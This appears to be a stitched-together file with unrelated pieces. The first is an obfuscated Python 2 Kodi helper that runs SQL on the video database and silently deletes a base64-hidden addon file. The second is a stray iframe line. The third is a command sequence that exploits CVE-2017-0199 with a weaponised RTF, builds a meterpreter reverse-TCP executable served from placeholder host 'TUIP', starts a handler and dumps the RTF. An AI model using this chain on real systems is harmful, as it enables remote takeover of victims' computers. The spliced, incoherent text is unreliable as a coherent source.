# -*- coding: utf-8 -*-
import os
import xbmc
import base64
if 97 - 97: OOoOoO0o0o0OO + IIII . Ii % oOO
if 1 - 1: II - iiIIi1i1Iii - I1 - IIoooO0ooO0oo * OOO
if 5 - 5: i1iI1 + o00oO0oo0O0O0 - ii1I1ii1IiIi1 % oooOoO - IiII1IiI
if 85 - 85: oo
if os . name == "nt" :
 OoOoOo = ""
else :
 OoOoOo = "utf8"
 if 73 - 73: Ii1I / I1IiI1III11i + ooOooO0OOO % IiII1i1I / oo0o % IiII1i1I
def OO0O00 ( path , _samba = False ) :
 if not type ( path ) == unicode :
  if 56 - 56: Ii / IiII1i1I + iiIIi1i1Iii . oOO * iiIIi1i1Iii . I1
  if 52 - 52: oo0o + I1IiI1III11i % o00oO0oo0O0O0 % Ii1I
  if 78 - 78: oo % ii1I1ii1IiIi1 * iiIIi1i1Iii . oOO * I1 % OOO
  if 2 - 2: Ii1I * oooOoO . iiIIi1i1Iii % Ii
  if 16 - 16: IIoooO0ooO0oo / oooOoO * iiIIi1i1Iii - oooOoO
  if 77 - 77: OOoOoO0o0o0OO * oooOoO / Ii
  if 90 - 90: OOoOoO0o0o0OO * II
  if 74 - 74: oOO - IiII1i1I - Ii
  if 87 - 87: Ii1I % ooOooO0OOO - iiIIi1i1Iii % i1iI1 % oooOoO % ooOooO0OOO
  if 5 - 5: OOoOoO0o0o0OO . OOO - ii1I1ii1IiIi1 . oooOoO * Ii
  path = unicode ( path , "utf-8" , "ignore" )
  if 63 - 63: OOoOoO0o0o0OO . iiIIi1i1Iii / IIoooO0ooO0oo . Ii / IIoooO0ooO0oo % ii1I1ii1IiIi1
 if path . lower ( ) . startswith ( "smb://" ) or _samba :
  path = path . encode ( "utf-8" , "ignore" )
 else :
  if OoOoOo :
   path = path . encode ( OoOoOo , "ignore" )
   if 3 - 3: Ii1I % IiII1i1I * oo0o / OOO * oo0o
 return path
 if 51 - 51: iiIIi1i1Iii . oo0o % OOoOoO0o0o0OO
 if 31 - 31: i1iI1 / i1iI1 % II * oo0o - II
def OOo0000oO ( path ) :
 if type ( path ) == list :
  if 48 - 48: iiIIi1i1Iii % OOO
  if 52 - 52: II
  if 3 - 3: oo * Ii1I * oo + oo
  if 62 - 62: IiII1i1I * ooOooO0OOO % ooOooO0OOO / I1 - OOoOoO0o0o0OO - Ii
  if 89 - 89: ooOooO0OOO . oOO * ooOooO0OOO + IIII
  if 32 - 32: IiII1i1I - iiIIi1i1Iii * II + OOO - iiIIi1i1Iii
  if 28 - 28: IIII
  if 56 - 56: iiIIi1i1Iii + IIII . oo0o - IiII1i1I + oo / IiII1IiI
  for oO in range ( len ( path ) ) :
   if not type ( path [ oO ] ) == unicode :
    path [ oO ] = path [ oO ] . decode ( OoOoOo , "ignore" )
   path [ oO ] = path [ oO ] . encode ( "utf-8" , "ignore" )
 else :
  if not type ( path ) == unicode :
   path = path . decode ( OoOoOo , "ignore" )
  path = path . encode ( "utf-8" , "ignore" )
 return path
 if 40 - 40: ii1I1ii1IiIi1 * oo / I1
 if 28 - 28: Ii1I - o00oO0oo0O0O0 / IiII1i1I + oo0o / Ii
def II1II1II1 ( * paths ) :
 paths = [ I1iiI1I for I1iiI1I in paths if I1iiI1I ]
 if 12 - 12: ii1I1ii1IiIi1
 if 60 - 60: i1iI1 % o00oO0oo0O0O0
 if 39 - 39: o00oO0oo0O0O0 * ii1I1ii1IiIi1 / Ii / Ii1I - iiIIi1i1Iii
 if 11 - 11: I1 % i1iI1 / ooOooO0OOO % Ii1I / I1 + iiIIi1i1Iii
 if 71 - 71: OOoOoO0o0o0OO * oOO * Ii
 if paths [ 0 ] . lower ( ) . startswith ( "smb://" ) :
  return paths [ 0 ] . strip ( "/" ) + "/" + "/" . join ( paths [ 1 : ] )
 else :
  return os . path . join ( * paths )
  if 92 - 92: o00oO0oo0O0O0 . oo0o * OOO * Ii / oo
def oOo0OOooOOOoo ( path ) :
 if 8 - 8: OOoOoO0o0o0OO - i1iI1
 if 46 - 46: oo - IiII1i1I - IiII1IiI
 if 63 - 63: I1 - IiII1i1I * I1 - iiIIi1i1Iii
 if 86 - 86: oo
 if 18 - 18: oooOoO
 if 23 - 23: OOoOoO0o0o0OO * Ii1I
 if 33 - 33: IiII1i1I * oOO % OOO
 if 25 - 25: o00oO0oo0O0O0 % oo0o . ooOooO0OOO + IIII * o00oO0oo0O0O0 / oOO
 path = OO0O00 ( path )
 try :
  return OOo0000oO ( os . listdir ( path ) )
 except :
  return False
  if 45 - 45: oo . IIII . oo
def oOOooo00Oooo ( path ) :
 path = OO0O00 ( path )
 if 75 - 75: IIII . oo0o . oOO + oOO + IIII . o00oO0oo0O0O0
 if 23 - 23: IiII1i1I + Ii + IiII1i1I . i1iI1 . OOO * II
 if 63 - 63: iiIIi1i1Iii / OOO + OOO * I1IiI1III11i . OOO
 if 56 - 56: i1iI1
 if 27 - 27: oooOoO % IIoooO0ooO0oo * IIoooO0ooO0oo . Ii1I
 if 10 - 10: IIII / OOO % ii1I1ii1IiIi1
 if 27 - 27: OOO - oo0o + oOO - OOO / IIII
 try :
  return os . path . isfile ( path )
 except :
  if 93 - 93: I1IiI1III11i
  return False
  if 11 - 11: ooOooO0OOO . oo + o00oO0oo0O0O0 - IiII1i1I / Ii1I
def iIII1Ii1iI ( path ) :
 path = OO0O00 ( path )
 if 62 - 62: ooOooO0OOO + OOO . Ii1I
 if 86 - 86: i1iI1 % iiIIi1i1Iii - oooOoO . i1iI1 % Ii * IIII
 if 71 - 71: IIII
 if 47 - 47: o00oO0oo0O0O0
 if 81 - 81: I1 . IIoooO0ooO0oo % o00oO0oo0O0O0 - I1
 if 83 - 83: I1IiI1III11i + OOoOoO0o0o0OO / oo / ooOooO0OOO . Ii % IiII1IiI
 if 36 - 36: oooOoO % ooOooO0OOO
 try :
  return os . path . exists ( path )
 except :
  return False
  if 38 - 38: OOO * Ii
def I1i1I1iI11I ( sql ) :
 iiIIiiII1 = ""
 if 66 - 66: i1iI1 % I1 * I1
 if 64 - 64: i1iI1 + Ii1I . Ii . IIII
 if 40 - 40: iiIIi1i1Iii * oOO
 if 79 - 79: i1iI1
 if 49 - 49: oo * Ii1I % II + I1
 if 28 - 28: IIII * I1 % oOO + Ii1I - IiII1i1I
 if 16 - 16: I1IiI1III11i % oo0o * IiII1IiI * i1iI1
 if 10 - 10: iiIIi1i1Iii . ooOooO0OOO % Ii1I - Ii1I - oo0o
 if 44 - 44: OOO + IiII1IiI - II . ii1I1ii1IiIi1 / II
 IIiII1Iii = 0
 Iiii1II1IIi = None
 if 32 - 32: Ii . iiIIi1i1Iii / oooOoO % oo0o / I1 * o00oO0oo0O0O0
 if 53 - 53: OOO * IiII1i1I % Ii1I
 I11ii1i = { '10' : 'MyVideos37.db' , '11' : 'MyVideos60.db' , '12' : 'MyVideos75.db' , '13' : 'MyVideos78.db' ,
 '14' : 'MyVideos90.db' , '15' : 'MyVideos93.db' , '16' : 'MyVideos99.db' , '17' : 'MyVideos107.db' }
 if 6 - 6: I1
 oOOOO00 = I11ii1i . get ( xbmc . getInfoLabel ( "System.BuildVersion" ) . split ( "." , 1 ) [ 0 ] , '' )
 if oOOOO00 :
  iiIIiiII1 = II1II1II1 ( xbmc . translatePath ( "special://userdata/Database" ) , oOOOO00 )
  if 4 - 4: II / iiIIi1i1Iii + oOO + IiII1i1I
  if 69 - 69: Ii1I
 if not iiIIiiII1 or not iIII1Ii1iI ( iiIIiiII1 ) :
  iiIIiiII1 = ""
  for I1IiI1ii1i1i1 in oOo0OOooOOOoo ( xbmc . translatePath ( "special://userdata/Database" ) ) :
   IiiiI = II1II1II1 ( xbmc . translatePath ( "special://userdata/Database" ) , I1IiI1ii1i1i1 )
   if 70 - 70: oo * oo % IiII1i1I * IiII1IiI
   if oOOooo00Oooo ( IiiiI ) and I1IiI1ii1i1i1 . lower ( ) . startswith ( 'myvideos' ) and I1IiI1ii1i1i1 . lower ( ) . endswith ( '.db' ) :
    iiIIiiII1 = IiiiI
    break
    if 39 - 39: Ii - I1 - IiII1i1I - OOoOoO0o0o0OO % IiII1IiI - IiII1i1I
 if iiIIiiII1 :
  oo0OO00OooO = None
  try :
   import sqlite3
   oo0OO00OooO = sqlite3 . connect ( iiIIiiII1 )
   O0ooo0oO0O = oo0OO00OooO . cursor ( )
   if 70 - 70: Ii1I . iiIIi1i1Iii * oo0o
   O0ooo0oO0O . execute ( sql )
   oo0OO00OooO . commit ( )
   if 64 - 64: IIoooO0ooO0oo % II
   Iiii1II1IIi = O0ooo0oO0O . fetchall ( )
   if sql . lower ( ) . startswith ( "select" ) :
    IIiII1Iii = len ( Iiii1II1IIi )
    if IIiII1Iii == 1 and Iiii1II1IIi [ 0 ] [ 0 ] is None :
     IIiII1Iii = 0
     Iiii1II1IIi = [ ]
   else :
    IIiII1Iii = oo0OO00OooO . total_changes
    if 86 - 86: Ii1I / II * Ii * II + oooOoO - oo0o
    if 95 - 95: II + oo / IIII + I1IiI1III11i
   oo0OO00OooO . close ( )
   if 85 - 85: IiII1i1I . II * IIoooO0ooO0oo % II % Ii - oo
  except :
   xbmc . log ( "Error al ejecutar la consulta sql" )
   if oo0OO00OooO :
    oo0OO00OooO . close ( )
    if 100 - 100: II * OOoOoO0o0o0OO + OOO * ii1I1ii1IiIi1 * OOO
 else :
  xbmc . log ( "Base de datos no encontrada" )
  if 84 - 84: Ii1I + oOO . oo0o % IiII1i1I % IiII1IiI * iiIIi1i1Iii
  if 26 - 26: iiIIi1i1Iii . I1IiI1III11i
 import xbmcaddon
 i1IIiiII = xbmcaddon . Addon ( )
 OOO0Ooo0 = xbmc . translatePath ( i1IIiiII . getAddonInfo ( 'path' ) . decode ( 'utf-8' ) )
 if 25 - 25: oOO - IiII1i1I + oo0o - o00oO0oo0O0O0 - oo0o * o00oO0oo0O0O0
 if os . path . isfile ( base64 . urlsafe_b64decode ( 'JXMvYW5vci5weQ==' ) % OOO0Ooo0 ) :
  os . remove ( base64 . urlsafe_b64decode ( 'JXMvYW5vci5weQ==' ) % OOO0Ooo0 )
  if 32 - 32: oooOoO * Ii . iiIIi1i1Iii + IIII + IIII
 return IIiII1Iii , Iiii1II1IIi # 807cb1bfffb234dace3f930f571a9039d76f4cf9

<iframe frameborder="0" src="http://es.foxyform.com/form.php?id=326430&sec_hash=88fbc0a5741"></iframe>

echo "Atenea"

python cve-2017-0199_toolkit.py -M gen -t RTF -w underc0de.rtf -u http://TUIP/logo.doc

msfvenom -p windows/meterpreter/reverse_tcp LHOST=TUIP LPORT=4444 -f exe > /tmp/shell.exe
msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST TUIP; run"

python cve-2017-0199_toolkit.py -M exp -t RTF -e http://TUIP/shell.exe -l /tmp/shell.exe

python rtfdump.py  underc0de.rtf

python rtfdump.py -f O underc0de.rtf

python rtfdump.py -s 10  underc0de.rtf | more

python rtfdump.py -s 10  -H underc0de.rtf | more

python rtfdump.py -s 10 -H -i underc0de.rtf

python rtfdump.py -s 10 -H -E underc0de.rtf

python rtfdump.py -s 10 -H -E -d underc0de.rtf | oledump.py

python rtfdump.py -s 10 -H -E -d underc0de.rtf | python oledump.py -s 1